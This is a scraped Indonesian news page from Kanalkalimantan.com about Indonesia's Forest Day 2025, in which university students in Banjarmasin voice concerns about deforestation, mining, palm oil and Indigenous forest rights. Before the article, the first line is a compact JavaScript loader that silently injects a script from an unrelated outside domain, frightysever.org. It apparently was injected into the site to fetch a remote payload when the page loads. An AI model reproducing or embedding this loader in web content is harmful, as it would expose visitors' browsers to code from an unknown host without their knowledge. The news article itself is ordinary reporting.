(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Meningkatkan kesadaran akan pentingnya hutan, setiap tanggal 7 Agustus diperingati sebagai Hari Hutan Indonesia.
Sebagaimana tertuang dalam Instruksi Presiden No. 5 Tahun 2019 tentang Moratorium Permanen Izin Hutan yang dilatarbelakangi petisi 1,4 juta tanda tangan yang menuntut peringatan khusus untuk hutan. Itulah yang mendasari penetapan Hari Hutan Indonesia tiap tanggal 7 Agustus.
“Suara Hutan, Nadi Kehidupan” menjadi tema Hari Hutan Indonesia 2025 yang menunjukkan betapa pentingnya hutan bagi makhluk hidup utamanya manusia sebagai salah satu penyuplai oksigen terbesar.
Kendati demikian, fakta bahwa hutan di Indonesia terus mengalami penurunan tiap tahun menjadi alarm serius bersana. Berdasarkan data Global Forest Watch 2023, sebanyak 684.000 hektare hutan Indonesia tergerus dalam dua dekade terakhir.
Baca juga: Indikasi Lahan Korporasi Dibakar, Menteri LH: Setelah Terbakar Muncul Sawit-sawit Baru
Momentum Hari Hutan Indonesia 2025, sejumlah anak muda yang merupakan mahasiswa dari Universitas Lambung Mangkurat (ULM) menyuarakan pendapat tentang Hari Hutan Indonesia.
Presiden Mahasiswa ULM, Adi Jayadi mengatakan, Hari Hutan Indonesia bukan hanya momentum untuk mengenal hutan sebagi pohon atau tumbuhan, tapi bagaimana peran hutan dalam keberlangsungan makhluk hidup.
“Banyak yang bergantung terhadap hutan di Indonesia apalagi Kalimantan, banyak masyarakat adat yang bergantung kepada hutan sebagai bagian hidup mereka,” kata Adi, Kamis (7/8/2025) siang.
Kemudian Ketua BEM ULM itu menambahkan, kaum intelektual seperti mahasiswa mampu berpikir kritis terhadap kondisi hutan Indonesia yang akan diwariskan terhadap anak cucu nanti.
Baca juga: Wabup Banjar Hadiri Apel dan Rakor Kesiapsiagaan Penanganan Karhutla Kalsel 2025
“Ketika teman-teman tidak bisa memaknai secara menyeluruh apa itu hutan Indonesia, saya rasa warisan yang kita terima nanti bukan lagi tentang bagaimana kita mempertahankannya, tapi mencari keuntungan terhadap sumber daya alamnya,” sambung Adi.
Dia menyoroti ancaman deforestasi yang kian meluas dan berdampak terhadap eksistensi hutan. Baginya, deforestasi selalu berkaitan dengan aktivitas seperti pertambangan atau perluasan lahan yang terus menggunduli hutan di Indonesia.
“Semoga kesadaran kita pribadi, masyarakat, dan pemerintah semakin meningkat dan peduli akan hal itu, karena perlu langkah konkret untuk mengatasi deforestasi,” tutur Adi.
Langkah tersebut, ujarnya dapat berupa edukasi, pengawasan, atau penegakan hukum yang tegas, sehingga deforestasi tidak semakin meluas tiap tahunnya.
Baca juga: Petugas PLN Cek Instalasi Listrik Pascakebakaran Mapolres Banjarbaru
“Semoga hutan di Indonesia utamanya di Kalimantan tetap terjaga, menjadi harga yang mahal sebagai paru-paru dunia dan terus melahirkan udara yang lebih segar dan terus kita hirup bersama,” tandas Adi.
Salah satu mahasiswa dari Fakultas Kehutanan ULM, Syamsu Rizal menuturkan, Hari Hutan Indonesia adalah peringatan penting untuk segenap bangsa Indonesia agar lebih peduli terhadap ekosistem hutan. Mengingat persentase luas kawasan hutan di Indonesia terus berkurang tiap tahunnya disebabkan alih fungsi lahan hutan menyebabkan bencana dan tantangan perubahan iklim.
“Kita tidak boleh tutup mata dan telinga atas permasalahan ini, karena saat pohon terakhir tumbang, barulah manusia sadar bahwa uang tidak bisa dimakan,” ucap Syamsu.
Besar harapan pemangku kebijakan tidak lagi melihat hutan dalam praktek sebagai komoditas ekonomi. Oleh sebab itu, hutan seyogyanya dipandang sebagai sistem kehidupan yang harus dijaga kelestariannya.
Baca juga: Gubernur Kalsel Melepas Tim Ekspedisi Rupiah Berdaulat 2025
Tak hanya itu, penegakkan hukum dalam penentuan dan penjagaan kawasan hutan perlu menjadi atensi serius, di samping regulasi tentang alih fungsi lahan dan perlu pengawasan ketat.
“Hukum harus memberikan pengakuan dan perlindungan yang sah terhadap hak-hak masyarakat adat yang sangat bergantung terhadap hutan,” jelas Syamsu.
Lebih jauh, perlu adanya peralihan menuju ekonomi hijau yang adil dan berkelanjutan serta membangun kesadaran publik bahwa menjaga hutan berarti menjaga masa depan bersama.
“Hari Hutan Indonesia seharusnya menjadi titik balik, bukan hanya menanam pohon sebagai seremonial, tetapi juga menanam harapan bahwa hutan masih bisa hidup lestari untuk generasi yang akan datang,” pungkas Syamsu.
Baca juga: Inspiring Srikandi PLN UIP3B Kalimantan Menguatkan Peran Perempuan Berkarya
Senada Saymsu, anggota Mapala Justitia Fakultas Hukum ULM, Lestari memaknai Hari Hutan Indonesia sebagai peringatan akan pentingnya hutan sebagai sumber oksigen.
Teruntuk hutan di wilayah Kalimantan yang dianggap sebagai paru-paru dunia, tapi mirisnya hutan fi Kalimantan semakin menyusut tiap tahun karena dibabat, diganti dengan sawit, tambang, dan proyek pembangunan.
“Pembangunan itu hanya menguntungkan para pejabat dan masyarakat kalangan atas, tidak dengan masyarakat kecil,” terang Lestari.
Dirinya sebagai pegiat pecinta akan merasakan dampak pembabatan hutan misalnya lapangan atau tempat untuk pendidikan anggota Mapala sudah sangat sulit dicari sekarang.
Baca juga: Kalsel Dilanda Suhu Tinggi Dua Hari Kedepan
“Hutan-hutannya sudah terbuka dan sungai-sungainya pun sudah tercemar, jadi banyak tempat dimana yang dulunya bisa kami gunakan sekarang sudah tergusur,” beber Lestari.
Lestari berharap peringatan Hari Hutan Indonesia 2025 dapat menyentuh hati nurani pejabat agar tersadar bahwa udara bersih jauh lebih penting dibandingkan kekuasan.
“Untuk hutan semoga kuat menghadapi gergaji tambang, kebakaran, dan kebijakan yang katanya buat kepentingan umum malah banyak merusak,” tutupnya.
Di sisi lain, mahasiswa Pendidikan Geografi ULM, Agus Riyanto berpendapat, Hari Hutan Indonesia adalah waktu yang tepat untuk lebih mengenal hutan baik dari manfaat, pelestariannya, serta mengetahui bagaimana manusia bisa berdampingan dengan alam.
Baca juga: Tim Inafis Olah TKP Ruang SPKT Polres Banjarbaru yang Terbakar
“Manfaat hutan sendiri itu kan bukan kecil ya, dari situ kita bisa dapat oksigen, pangan, dan lain-lain,” tukas Agus.
Ancaman deforestasi salah satunya pertambangan, menurut Agus bisa diminimalisir dengan cara penguatan izin dan regulasi yang berkaitan.
“Saya mengharapkan bagaimana pemerintah serta pihak swasta bisa bekerja sama dalam pemulihan sisa tambang,” imbuhnya.
Mahasiswa Pendidikan Bahasa dan Sastra Indonesia ULM, Andre Hardianto ingin menjadikan Hari Hutan Indonesia sebagai pengingat agar senantiasa menjaga hutan.
“Bukan saya saja, namun kita semua sebagai makhluk hidup yang sedikit banyaknya bergantung pada hutan,” ungkap Andre.
Sebagai pribadi yang menyukai kegiatan outdoor seperti mendaki, dirinya berusaha menjaga kelestarian hutan dimulai hal-hal kecil seperti tidak meninggalkan sampah sekecil apapun di hutan dan gunung.
Untuk itu, Andre menggantungkan harapan besar terhadap pemerintah supaya bisa tegas dan berani dalam membatasi seluruh kegiatan yang berpotensi mengancam ekosistem hutan di Kalimantan secara masif.
“Menjaga yang ada saya rasa lebih baik dibanding berusaha mengembalikan ulang ekosistem yang telah dirusak karena deforestasi,” pungkasnya. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.